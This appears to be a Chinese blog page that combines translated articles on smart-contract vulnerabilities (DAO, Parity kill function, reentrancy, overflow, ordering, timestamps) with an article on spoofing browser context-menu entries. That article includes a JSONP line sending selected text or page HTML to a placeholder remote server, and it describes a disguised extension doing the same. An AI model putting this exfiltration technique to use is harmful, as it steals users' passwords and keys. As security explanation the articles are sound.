基于区块链的智能合约安全

智能合约定义和实际应用举例

最近,区块链技术已经成为很多行业游戏规则的变革者,在比特币中涌现的分布式分类技术在数字货币之外也有了非常广阔的应用前景。

区块链技术最有前途的一个应用就是开发智能合约。

智能合约是自我执行合约,在智能合约中,合约条款由代码规定。基本上,这意味着可以用计算机程序编写具有法律效力的合约,而且这个合约可以自动执行。

至少在1996年Nick Szabo 就提出了这一概念,尽管这个概念已经出现了一段时间了,但是直到图灵完成Ethereum区块链,智能合约的使用才开始普及。

在Ethereum区块链上的合约,存在于合约地址,并且可以被事务调用引用。

执行用代码书写的合约并且在一个不可改变的公开的区块链中存储信息造成一定的风险和问题,这也是我们要在这篇文章中讨论的。在即将写的第二部分中,我们将会查看一些关于智能合约安全漏洞的更加具体的例子。

代码就是法律?

对于智能合约的字面解释导致了“代码就是法律”的词意变化,这一词义的改变意味着智能合约具有约束力,并且被理解为法律文件。很多软件工程师意识到创造一个完全无误差的代码是不可能的,一想到计算机程序具有法律效力就让人手心出汗。这里有很多明显的问题:

1.          代码含有bug。写一个没有bug的代码实在是太难了,即使采取了所有可能的预防措施,在复杂的软件中也总会出现没有预料到的执行路径或可能的漏洞。

2.          法律合约是受解释和仲裁的约束。很难去创造一个缜密的合约。在任意一个大的合约里,可能出现的文稿错误以及一些条款需要解释和仲裁。避免这些争论就是法庭的作用。假设在一个合法合约的39至40 页规定售价是100美金,然后在某一页中打了一个额外的0,法庭将以“契约精神”来裁决。一台电脑只能执行预先写好的条款,区块链的不变性增加了这样这个问题即合约不容易修改

3.          软件工程师不是法律专家,反之亦然。起草一份好的合约需要各种各样的技能,不一定与编写的计算机程序兼容。

两个运用高知名度智能合约的例子

DAO攻击

关于DAO攻击已经说过很多了,在此我们不在重复。我们可以在这里找到一个关于DAO的攻击和后果的很好的概述。

总之,在2016年6月一个攻击者设法转移了一大笔众筹基金(3.5m ETH,大约是当时ETH总量的15%)到他的孩子的账户,其中资金被锁定28天,导致为了找到解决方案要与时间竞争。

在这种情况下,需要注意的一点是,合约通过一种出乎意料的方式被攻击。在这种特殊的情况下重放漏洞被利用。我们将会在后面的跟进中进行详细的讲解。

奇偶校验破解

事实上,这是由奇偶校验提供的多重签名wallet contract的第二次破解。很多初创公司使用多重签名wallet contract,其大部分逻辑在librarycontract中实现。每一个wallet包含于一个轻量级的客户端协议,并连接到单点故障。

在library contract中有一个关键的bug,它包括在一个初始化的函数中,能够被准确的调用一次。

在2017年12月,某些人初始化了合约,这样就成为了合约的拥有者。这样就允许特调用所有者函数。这就是他用来调用一下函数的特权:

// kills the contract sending everything to `_to`.

function kill(address _to)onlymanyowners(sha3(msg.data)) external {

   suicide(_to);

}

这是相当于自毁按钮,可以使合约失效。调用这个函数会导致客户合约中所有的资金被冻结,有可能是永久冻结。

虽然肇事者声称这只是一个意外,但是在撰写该报告时,仍旧不清楚这个黑客是否构成蓄意攻击。还是真的只是一个意外。

两次攻击表明,即使是区块链生态系统中最大的玩家编写的相对简单的合约,也很容易因为一个基本的bug产生严重后果。

应该采取什么措施?

最近的历史表明,在公共区块链上执行智能合约是危险的,并且没有足够安全的方案可以用准确的语言、解释和仲裁的空间,来代替传统的法律制度。

这不意味着我们应该放弃智能合约。智能合约是非常有用的工具并且开发了有趣的应用。然而,我们不应该把它视为有法律约束力的合约的替代品,而应该把它视为自动化的补充工具。

此外,我们应该采取一些措施来避免漏洞。

  • 在library contracts中应该使用开源代码和社区可接受的事实标准。例如 开放的Zeppelin合约。
  • 使用推荐的路径和最佳实践指南,例如Consensys中提供的准则。
  • 考虑由信誉好的供应商审计您的智能合约。

基于区块链的智能合约安全(二)——已知的漏洞和陷阱

本文是基于区块链的智能合约安全的第二篇,主要分析智能合约中出现的问题。

在这个系列的前一部分,我们分析了与部署在公开区块链上的自动化执行智能合约有关的风险。我们也介绍了一些获得高关注度的智能合约的例子,这些案例造成大量钱财损失,还改变了我们看待区块链上的商业活动的方式。

在这一部分我们会回顾一些已知的问题和漏洞。

 

私钥泄露

 

使用不安全的私钥确实是一个常见的用户错误案例,甚至比漏洞还要常见。然而,我们也需要提这一点,因为它经常发生,而且某些玩家专门利用它从不安全的地址偷资金

最常见的情况是在产品中使用生成地址(例如用在测试工具中的,如Ganache /TestPRC)。这些地址是由公众所知的私钥生成的。一些用户甚至在不知不觉中将这些密钥导入钱包软件,通过原始种子生成秘钥。

攻击者检测这些地址,任何转移到这个在以太币网络主地址的金钱都会立即消失

一个有趣的文章研究了这项非常有利可图的“清扫”活动,并且发现一个清扫人员账户已经设法积累了2300万美元的资金。

 

可重入性和竞争条件

 

如果一个功能模块在完成前调用了很多次,可能会出现意想不到的行为,在某些意想不到的行为中可能存在可重入性漏洞。

让我们来看看下面这个函数,这个函数可用于从一个合约中取回访问者的总余额。

 

 

call.value()函数可以导致合约外部的代码执行。我们可以把调用者假设成一个数字加密货币钱包软件,也可能是其它合同

如果这个访问者是另一个合约,这就意味着这个合约的回退函数被执行了。回退函数的目的就是收到资金。

一个流氓合约,实现一个叫做payout()的回调函数,在余额设置为0之前,再次递归调用payOut(),从而获得比现有余额更多的资金。

这个问题的解决方案是使用可代替的函数sent()或者transfer()。通过为基本核算支付足量的gas,任何再次调用payout()的尝试都将会失败,从而可以防止递归调用。另外(或者是再者),操作的顺序可能被翻转,例如在金钱交易之前把余额设为0。

在第一部分中提及的DAO攻击就用到这个漏洞的一个变种。

 

下溢/上溢

 

余额通常由无符号整数表示,Solidity中通常有256比特数字。当无符号整数下溢或上溢时,它们的值立马就改变了。现在我们来看一个常见的下溢的例子(数字为了可读性缩短了):

   0×0003 
 

   —  0×0004

   ———————-

   0xFFFF

这里很容易就会发现一个问题,减去一个比余额还要大1的数会导致下溢,结果余额会得到一个大数。

也请注意,由于舍入误差,整数计算的除法会非常复杂。

解决方法是总是检查代码中的下溢或上溢。这里有安全库协助检查,例如SafeMath或者OpenZeepelin。

 

交易定单假设

 

交易进入未经证实的交易池并按照某种规律存在于矿工的数据块中,这种规律取决于矿工的交易选择标准,这很可能是一些试图从交易手续费中获取利益最大化的算法,但是也可以是其他的东西。

因此,打包交易的顺序和它的生成顺序完全不同。为此,合约代码不能在交易规则里创造任何假设。

由于交易是可见的,而且这个交易是可以预见的,所以除了执行合约过程中没有预料到的结果,这里还可能有一个攻击向量,这可能是交易中的一个问题,也就是延迟交易可能会被流氓矿工用于个人利益。事实上,在交易之前就需要意识到某些的交易,既可以被矿工利用,也可以被其他的任何人利用。通过支付一个较高的gas,鼓励矿工迅速将其打包,最终交易可以被“overtaken”。

 

时间戳依赖性

 

在区块链中,时间戳是由矿工生成的。因此,合约不需要为了核心操作依赖于数据块的时间戳,例如把它用作生成随机数的种子。Consensys在他们的指南中给出一个12分钟法则,该规则规定,如果你的时间依赖代码能够处理12分钟时间变化,那么使用block.timestamp是安全的。

 

总结

 

到今天为止,我们看了很多获得了高关注度的基于区块链的智能合约攻击的例子,我们也讨论了一些已经发现的常见的漏洞。在下一篇文章中,我们将会介绍一些更复杂的攻击,这些攻击依赖于区块链和特定操作的工作方式

 

对浏览器扩展和上下文菜单漏洞的利用

 

本文简述通过点击浏览器扩展和上下文菜单获取敏感信息。在攻击过程中,攻击者通过浏览器扩展和HTML5这两种方式访问上下文菜单,并与上下文菜单进行交互。通过与上下文菜单和浏览器插件的交互可以获取敏感信息。当然在不同的浏览器中,攻击的方法也不一样。具体内容请看文章。

我们都知道的上下文菜单,而且我们每天都会用到它。上下文菜单就是当用右键点击内容时出现的便利的小窗口,它让你可以选择多种方式与展示给你的数据进行交互。尽管从应用程序到操作系统都有一些不同,但通常都会遵循基本理念。

问题

尽管在任何应用程序或操作系统中上下文菜单都是不可或缺的部分,但是由于它们通常缺乏完整性并且容易被利用,所以它们可能成为一个巨大的安全风险。

被攻击者

大部分人都喜欢用快捷键,但是这种攻击的被攻击者都是非技术型的人,所以他们会和浏览器中的上下文菜单进行频繁的交互。但是不要被欺骗了,它是一种比你想象的更难发现的方式。

技术细节

作为开发人员,我们可以通过不同的API以各种方式与上下文菜单进行交互。例如,在macOS上,我们可以用一个叫做‘Automator’的应用程序,通过上下文菜单中的条目,在OS级别的条目上创建工作流,但也可以在类似Chrome或Firefox的浏览器中创建工作流。我们今天专门讲解浏览器。 
 

惊喜

通过类似Chrome或Firefox这样的浏览器中的扩展,创建自己的上下文菜单条目并不是什么新鲜事,但是几天前我碰巧遇到的一个问题从安全角度来看是有问题的。

你知道一个HTML页面可以在你的上下文菜单中添加内容吗?我之前也没有注意到。但是请注意,这只能在各自对应的页面上进行。在HTML5规范中你有一种创建上下文菜单条目方法,即你只需要在Firefox(8+)和Interner Explorer的最新生的版本中把适当的标记添加到html文件中。

也许你会说这也很好啊,但这在一定程度上仍然缺乏完整性,也就是说用户可以把“第三方”条目与应用程序或操作系统创建的“合法”条目区分开。这种侵入用户界面和欺骗条目的方法是非常有问题的,而且应该被改进。

攻击向量

如上所述,我们有两种访问上下文菜单API的方式:

1)扩展

2)HTML5

使用两者中的任何一个都有局限性,但是也都有突出的优势。二者都有自己有趣的点。如果我们使用HTML5规范,那么我们只能够在对应的HTML页面上创建条目,但不能删除,更改或移动任何条目。另一方面,由于扩展通常可以跨页面,所以如果我们使用扩展,我们就可以在受害者访问的任何HTML页面上创建,编辑,移动和删除上下文菜单条目。

实际的攻击

我们用点击劫持伪装一个上下文菜单“Copy”条目(仅在方法二中),并将潜在的敏感信息(如密码,API密钥,地址和名称等)发送到由攻击者控制的远程服务器,用来分析数据。

HTML5方式

我们从第二种方法开始。在这种方法中,我们会用Firefox和Internet Explorer支持的menu和menuitem标签创建位于上下文菜单最顶部的条目,该条目如下所示:

label属性的文本会显示在上下文菜单项中,但是你是否注意到onclick调用Javascript函数的属性?是的,这是这种攻击的一个组成部分。

现在我们将创建一个script标签并添加一些Javascript,以便将潜在的敏感信息发送到一个远程服务器。最初,我们可以使用XMLHttpRequest之类的API容器调用远程服务器然后结束。但是,由于有些聪明人认为在后台默默调用远程资源具有潜在的安全风险,浏览器会限制从脚本内发起的跨源HTTP请求。因此,除非我们设置了称为Cross-Origin ResourceSharing(CORS)的请求头,否则使用这些API的Web应用程序只能从加载它的域中请求HTTP资源,

所以没有办法了吗?其实,还有一种方法。我们可以通过使用JSON with Padding(JSONP)轻松绕过CORS并以sliently模式成功连接远程服务器。这是一种发送JSON数据的方式,通过这种方式可以不用担心跨域问题,也不需要使用XMLHttpRequest对象。

具有讽刺意味的是,要使用JSONP,我们就不得不在Javascript中创建script元素。所以我们添加var script = document.createElement(‘script’);document.getElementsByTagName(‘head’)[0] .appendChild(script);最后但同样重要的是,检索敏感信息最重要部分其实是script.src =“http://remote.server/?payload =”+ window.getSelection();它会把选定的用户文本发送到服务器。但由于这不足以成为一个安全问题,所以我们还可以使用document.documentElement.innerHTML(URL编码)或其它任何函数,把各种信息发送给我们分析。为了圆满完成任务,为了造成长时间的伤害并降低对用作欺骗的拷贝条目的潜在怀疑,实际上我们可以通过添加document.execCommand(“copy”),在没有特殊权限的情况下,复制受害者的选定文本。在最后使用我们的HTML5方法,我们的攻击页面如下所示:


 

如果点击劫持攻击是成功的,我们可以在远程服务器的access_log文件中看到类似这样的内容:

v.i.c.t.i.m.i.p--[Day/Month/Year:00:00:00 +0000]"GET/?payload=%3Cmenu%20type=%22context%22%20id=%22cmenu%22%3E%20%20%3Cmenuitem%20id=%22context-copy%22%20lable=%22Copy%22%22[...]HTTP/1.1"200 892"-""Mozilla/5.0 Gecko/20100101Firefox/59.0"

现在我们只需套分析这些日志文件条目就可以获取潜在的敏感信息,这就很容易了

从攻击者的角度来看,使用HTML5方法的收获是:

优点:

1)  它不会提示权限(即使允许我们写入剪贴板),因此它是静默的。

2)  它涵盖了各种各样的API和浏览器版本,因此有各种各样的潜在受害者。

3)  它使用Javascript,而且不需要用其它JQuery之类花哨的东西执行。

缺点:

1)  它只能创建上下文菜单条目。

2)  它在攻击者控制的页面上执行(或者,它找到一种方法注入合法页面)

 
 

扩展方法 
 

扩展方法是第一种方式。 基本上,对于扩展来说,我们通常用的攻击方式是一样的。有趣的是,被攻击者实际上并不需要调用上下文菜单,我们的扩展会主动把整个DOM发送到受害者访问的任意页面上的access_log文件(如银行网站等),这意味着我们不用绑定到一个类似HTML5的页面。

对于扩展而言,由于我们不打算使用HTML5规范,所以我们也不仅限于Firefox和InternetExplorer的扩展。我们先看Firefox,然后再看Chrome。

Firefox

为了创建一个扩展,我们必须创建一个文件夹和一个名为manifest.json的文件,并且文件的内容应该如下所示:

以及clickjack.js:

Firefox阻止了我们的复制命令,对于我们而言是不幸,但是对于受害者来说却是幸运的。因为它不是从一个短暂运行的用户生成的事件处理程序中调用的,我们可以在manifest.json中添加一个许可权,但这都不重要,因为我们不这样使用上下文菜单的伪装方法。

由于我们通过HTTP协议调用远程服务,然而受害者浏览的页面是SSL加密的。Firefox中的问题是由于加密页面会阻止加载混合活动内容,从而导致我们的攻击无法正确执行。除此以外,它也会提示加载<script>标签失败,它会让我们的攻击变得毫无用处。 
 

Chrome

在Chrome中,我们使用与Firfox中相同的manifest.json和clickjack.js,但是就执行攻击而言,那就是另外一码事了。 Chrome不仅不会阻止我们的复制命令,它还会允许为我们的攻击加载混合活动内容,然后会看到我们的方法被成功执行并接收我们的access_log文件条目。

从攻击者的角度来看,使用扩展方式的收获是:

优点:

1)  适用于Chrome

        2)  受害者不必调用上下文菜单 
 

缺点:

1)  该扩展必须由受害者安装(可以将其伪装成善意的合法扩展)

2)  不能在Firefox中工作

保护自己

为了减少此类攻击,我建议要注意以下几点:

1)  一旦上下文菜单中的条目不在原来的位置,就要持怀疑态度。

2)  不要安装你不信任而且也不了解这些功能的扩展

3)  使用键盘快捷键与浏览器中的内容或功能进行交互

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值